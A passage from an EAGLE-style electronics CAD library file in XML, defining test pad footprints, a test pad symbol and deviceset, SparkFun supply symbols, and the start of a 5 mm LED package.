y=\"0\" dx=\"0.8\" dy=\"0.8\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.3\" y=\"0.4001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.381\" y=\"-0.381\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP08SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"0.8\" dy=\"0.8\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.3\" y=\"0.4001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.381\" y=\"-0.508\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP09R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"0.9\" dy=\"0.9\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.4501\" y=\"0.5001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.381\" y=\"-0.508\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP09SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"0.8998\" dy=\"0.8998\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.4501\" y=\"0.5001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.381\" y=\"-0.508\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP10R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1\" dy=\"1\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.5001\" y=\"0.5499\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.381\" y=\"-0.508\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP10SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1\" dy=\"1\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.5001\" y=\"0.5499\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-0.635\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP11R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.1\" dy=\"1.1\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.5499\" y=\"0.5999\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-0.508\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP11SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.1\" dy=\"1.1\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.5499\" y=\"0.5999\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-0.635\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP12SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.1998\" dy=\"1.1998\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.5999\" y=\"0.65\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-0.635\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP12R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.2\" dy=\"1.2\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.5999\" y=\"0.65\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-0.635\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP13R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.3\" dy=\"1.3\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.65\" y=\"0.7\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-0.635\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP14R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.4\" dy=\"1.4\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.7\" y=\"0.7501\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-0.762\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP15R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.5\" dy=\"1.5\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.7501\" y=\"0.8001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-0.762\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP16R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.6\" dy=\"1.6\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.8001\" y=\"0.8499\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-0.762\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP17R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.7\" dy=\"1.7\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.8499\" y=\"0.8999\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-0.889\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP18R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.8999\" y=\"0.95\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-0.889\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP19R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.9\" dy=\"1.9\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.95\" y=\"1\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-0.889\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP20R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"2\" dy=\"2\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-1\" y=\"1.05\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-1.016\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP13SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.3\" dy=\"1.3\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.65\" y=\"0.7\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-0.762\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP14SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.4\" dy=\"1.4\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.7\" y=\"0.7501\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-0.762\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP15SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.5\" dy=\"1.5\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.7501\" y=\"0.8001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-0.889\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP16SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.5996\" dy=\"1.5996\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.8001\" y=\"0.8499\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-0.889\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP17SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.7\" dy=\"1.7\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.8499\" y=\"0.8999\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-0.889\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP18SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.8999\" y=\"0.95\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-1.016\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP19SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.8998\" dy=\"1.8998\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.95\" y=\"1\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-1.016\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP20SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"2\" dy=\"2\" layer=\"1\" cream=\"no\"/>\n<text x=\"-1\" y=\"1.05\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-1.143\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n</packages>\n<symbols>\n<symbol name=\"TP\">\n<wire x1=\"-0.762\" y1=\"-0.762\" x2=\"0\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"0.762\" y2=\"-0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0.762\" y1=\"-0.762\" x2=\"0\" y2=\"-1.524\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"-1.524\" x2=\"-0.762\" y2=\"-0.762\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"1.27\" y=\"-1.27\" size=\"1.778\" layer=\"97\">&gt;TP_SIGNAL_NAME</text>\n<pin name=\"TP\" x=\"0\" y=\"-2.54\" visible=\"off\" length=\"short\" direction=\"in\" rot=\"R90\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"TP\" prefix=\"TP\">\n<description>&lt;b&gt;Test pad&lt;/b&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"TP\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"B1,27\" package=\"B1,27\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"B2,54\" package=\"B2,54\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"PAD1-13\" package=\"P1-13\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"PAD1-13Y\" package=\"P1-13Y\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"PAD1-17\" package=\"P1-17\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"PAD1-17Y\" package=\"P1-17Y\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"PAD1-20\" package=\"P1-20\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"PAD1-20Y\" package=\"P1-20Y\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP06R\" package=\"TP06R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP06SQ\" package=\"TP06SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP07R\" package=\"TP07R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP07SQ\" package=\"TP07SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP08R\" package=\"TP08R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP08SQ\" package=\"TP08SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP09R\" package=\"TP09R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP09SQ\" package=\"TP09SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP10R\" package=\"TP10R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP10SQ\" package=\"TP10SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP11R\" package=\"TP11R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP11SQ\" package=\"TP11SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP12SQ\" package=\"TP12SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP12R\" package=\"TP12R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP13R\" package=\"TP13R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP14R\" package=\"TP14R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP15R\" package=\"TP15R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP16R\" package=\"TP16R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP17R\" package=\"TP17R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP18R\" package=\"TP18R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP19R\" package=\"TP19R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP20R\" package=\"TP20R\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP13SQ\" package=\"TP13SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP14SQ\" package=\"TP14SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP15SQ\" package=\"TP15SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP16SQ\" package=\"TP16SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP17SQ\" package=\"TP17SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP18SQ\" package=\"TP18SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP19SQ\" package=\"TP19SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n<device name=\"TP20SQ\" package=\"TP20SQ\">\n<connects>\n<connect gate=\"G$1\" pin=\"TP\" pad=\"TP\"/>\n</connects>\n<technologies>\n<technology name=\"\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" constant=\"no\"/>\n</technology>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun02-20-08\">\n<packages>\n</packages>\n<symbols>\n<symbol name=\"GND\">\n<wire x1=\"-1.905\" y1=\"0\" x2=\"1.905\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-2.54\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"GND\" x=\"0\" y=\"2.54\" visible=\"off\" length=\"short\" direction=\"sup\" rot=\"R270\"/>\n</symbol>\n<symbol name=\"3.3V\">\n<wire x1=\"0.762\" y1=\"1.27\" x2=\"0\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"2.54\" x2=\"-0.762\" y2=\"1.27\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-1.016\" y=\"3.556\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"3.3V\" x=\"0\" y=\"0\" visible=\"off\" length=\"short\" direction=\"sup\" rot=\"R90\"/>\n</symbol>\n<symbol name=\"5V\">\n<wire x1=\"0.762\" y1=\"1.27\" x2=\"0\" y2=\"2.54\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"2.54\" x2=\"-0.762\" y2=\"1.27\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-1.016\" y=\"3.556\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"5V\" x=\"0\" y=\"0\" visible=\"off\" length=\"short\" direction=\"sup\" rot=\"R90\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"GND\" prefix=\"GND\">\n<description>&lt;b&gt;SUPPLY SYMBOL&lt;/b&gt;</description>\n<gates>\n<gate name=\"1\" symbol=\"GND\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\">\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"3.3V\" prefix=\"P+\">\n<description>&lt;b&gt;SUPPLY SYMBOL&lt;/b&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"3.3V\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\">\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"5V\">\n<gates>\n<gate name=\"G$1\" symbol=\"5V\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\">\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun\">\n<packages>\n<package name=\"LED5MM\">\n<description>&lt;B&gt;LED&lt;/B&gt;&lt;p&gt;\n5 mm, round</description>\n<wire x1=\"2.54\" y1=\"-1.905\" x2=\"2.54\" y2=\"1.905\" 